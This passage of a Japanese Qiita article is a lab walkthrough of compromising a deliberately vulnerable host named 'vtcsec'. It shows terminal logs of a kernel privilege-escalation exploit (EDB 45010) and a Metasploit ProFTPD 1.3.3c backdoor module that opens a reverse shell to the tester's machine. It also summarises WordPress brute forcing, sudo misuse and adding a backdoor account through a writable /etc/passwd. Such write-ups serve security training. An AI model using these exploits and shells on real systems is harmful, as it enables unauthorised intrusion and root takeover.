www-data@vtcsec:/tmp$ ls -l 45010*
ls -l 45010*
-rwxrwxrwx 1 www-data www-data 18432 Nov  9 21:11 45010
-rw-rw-rw- 1 www-data www-data 13728 Nov  9 21:03 45010.c
www-data@vtcsec:/tmp$ chmod +x 45010
chmod +x 45010
www-data@vtcsec:/tmp$ ./45010
./45010
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8a5bb704e000
[*] Leaking sock struct from ffff8a5b20d5f000
[*] Sock->sk_rcvtimeo at offset 592
[*] Cred structure at ffff8a5b2714b3c0
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff8a5b2714b3c0
[*] credentials patched, launching shell...
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

FTP アプローチ

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみましょう。

root@kali:~# searchsploit Proftpd 1.3.3c
------------------------------------------ ----------------------------------------
 Exploit Title                            |  Path
                                          | (/usr/share/exploitdb/)
------------------------------------------ ----------------------------------------
ProFTPd 1.3.3c - Compromised Source Backd | exploits/linux/remote/15662.txt
ProFTPd-1.3.3c - Backdoor Command Executi | exploits/linux/remote/16921.rb
------------------------------------------ ----------------------------------------
Shellcodes: No Result
root@kali:~# 

続いて、Metasploit Frameworkにて該当するコードを検索してみます。

msf > search ProFTP 1.3.3c
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                         Disclosure Date  Rank       Description
   ----                                         ---------------  ----       -----------
   exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   exploit/linux/ftp/proftp_sreplace            2006-11-26       great      ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    NetSupport Manager Agent Remote Buffer Overflow
   exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  ProFTPD-1.3.3c Backdoor Command Execution
   exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  ProFTPD 1.3.5 Mod_Copy Command Execution
   exploit/windows/ftp/proftp_banner            2009-08-25       normal     ProFTP 2.9 Banner Remote Buffer Overflow


msf > 

1.3.3c Backdoor Command Executionを使うことができそうです。
use exploit/unix/ftp/proftpd_133c_backdoorを指定し、show optionsコマンドにてモジュールの実行に必要となるオプションを確認し、指定します。

msf > use exploit/unix/ftp/proftpd_133c_backdoor 
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 172.16.208.188
RHOST => 172.16.208.188
msf exploit(unix/ftp/proftpd_133c_backdoor) > 

エクスプロイトコードを実行した結果、root権限への昇格に成功しました。

msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 172.16.208.192:4444 
[*] 172.16.208.188:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo l2OMTNHa9J3xdwGt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "l2OMTNHa9J3xdwGt\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.208.192:4444 -> 172.16.208.188:39210) at 2019-11-07 14:05:43 +0900

whoami
root
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
hostname
vtcsec

まとめ

一般ユーザのアクセス権取得

  1. WordPressの管理コンソールにブルートフォース攻撃を仕掛け、管理コンソールのアカウントが初期設定のまま(admin/admin)運用されていることを特定しました。

特権昇格

  1. Metasploit Frameworkproftpd_133c_backdoorモジュールを使い、特権昇格を行いました。
  2. searchsploitコマンドを使って脆弱性(EDB-ID: 45010)を特定し、特権昇格を行いました。
  3. 脆弱なアカウント(ユーザ名とパスワードが同一)にsudo権限が付与されていることを特定しました。
  4. /etc/passwdファイルのアクセス権が全てのユーザーによる読み書きが許可されていることをつき、バックドアアカウントを新たに設置しました。
6
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
1